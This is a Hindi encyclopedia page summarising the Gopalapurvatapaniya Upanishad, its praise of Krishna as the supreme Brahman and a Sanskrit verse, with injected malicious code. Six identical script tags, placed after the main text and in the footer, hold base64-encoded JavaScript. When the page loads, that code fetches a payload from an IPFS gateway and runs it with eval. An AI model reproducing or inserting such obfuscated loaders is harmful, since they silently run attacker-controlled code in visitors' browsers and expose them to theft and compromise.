गोपालपूर्वतापनीयोपनिषद

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
  • अथर्ववेदीय परम्परा के इस उपनिषद में सविशेष ब्रह्म श्रीकृष्ण की स्थापना करते हुए उन्हें निर्विशेष ब्रह्म (निराकार ब्रह्म) के रूप में प्रस्तुत करने का प्रयत्न किया गया है।
  • प्रारम्भ में मुनिगण श्रीकृष्ण की स्तुति करते हैं और उन्हें परमदेव के रूप में स्वीकार करते हैं कृष्ण के नाम का सन्धि-विच्छेद करते हुए 'कृष्' शब्द को सत्तावाचक माना है और 'न' अक्षर को आनन्दबोधक। इन दोनों के मिलन से सच्चिदानन्द परमेश्वर 'श्रीकृष्ण' के नाम की सार्थकता प्रकट की गयी है।
  • ऋषि-मुनियों द्वारा ब्रह्माजी से सर्वश्रेष्ठ देवता के विषय में पूछने पर ब्रह्मा जी कहते हैं कि श्रीकृष्ण ही सर्वश्रेष्ठ देवता हैं। मृत्यु भी गोविन्द से भयभीत रहती है। 'गोपीजनवल्लभ' के तत्त्व को जान लेने से सभी कुछ सम्यक रूप से ज्ञात हो जाता है। श्रीकृष्ण ही समस्त पापों का हरण करने वाले हैं। वे गौ, भूमि और वेदवाणी के ज्ञात-रूप योगीराज, हरिरूप में गोविन्द हैं। भक्तगण विभिन्न रूपों में उनकी उपासना करते हैं-वेदों को जानने वाले सच्चिदानन्द-स्वरूप 'श्रीकृष्ण' का भिन्न-भिन्न प्रकार से भजन-पूजन करते हैं। 'गोविन्द' नाम से प्रख्यात उन 'श्रीकृष्ण' की विविध रीतियों से स्तुति करते हैं। वे 'गोपीजनवल्लभ' श्यामसुन्दर ही हैं। वे ही समस्त लोकों का पालन करते हैं और 'माया' नामक शक्ति का आश्रय लेकर उन्होंने ही इस जगत् को उत्पन्न किया है। श्रीकृष्ण नित्यों में नित्य और चेतनों में परमचेतन हैं। वे सम्पूर्ण मनोकामनाओं को पूर्ण करने वाले हैं। उनकी पूजा से सनातन-सुख की प्राप्ति होती है। [1]
  • जो विज्ञानमय तथा परमआनन्द को देने वाले हैं, जो प्रत्येक प्राणी के हृदय में निवास करते हैं, उन गोप-सुन्दरियों के प्राणाधार भगवान श्रीकृष्ण का बार-बार नमन करने से मोक्ष की प्राप्ति हो जाती है। वंशीवादन जिनकी सहज वृत्ति है और जो कंस, कालिया नाग, पूतना, बकासुर आदि राक्षसों का वध करने वाले हैं, जिनके मस्तक पर मोरपंख सुशोभित हैं और जिनके नेत्र कमल के समान सुन्दर हैं, जो गले में वैजन्तीमाल धारण करते हैं, जिनकी कटि में पीताम्बर सुशोभित है, हम उस श्रीराधा के मानस-हंस श्रीकृष्ण का बार-बार नमन करते हैं। ऐसे श्रीकृष्ण साकार रूप में दर्शन देते हुए भी निराकार ब्रह्म के ही प्रतिरूप हैं। उनका तेज़ अगम्य और अगोचर है। उनकी उपासना से समस्त द्वन्द-फन्द नष्ट हो जाते हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. कृष्णं तं विप्रा बहुधा यजन्ति गोविंद सन्तं बहुधाऽऽराधयन्ति।
    गोपीजनवल्लभो भुवनानि दध्रे स्वाहाश्रितो जगदैजत्सुरेता:॥16॥


संबंधित लेख

श्रुतियाँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>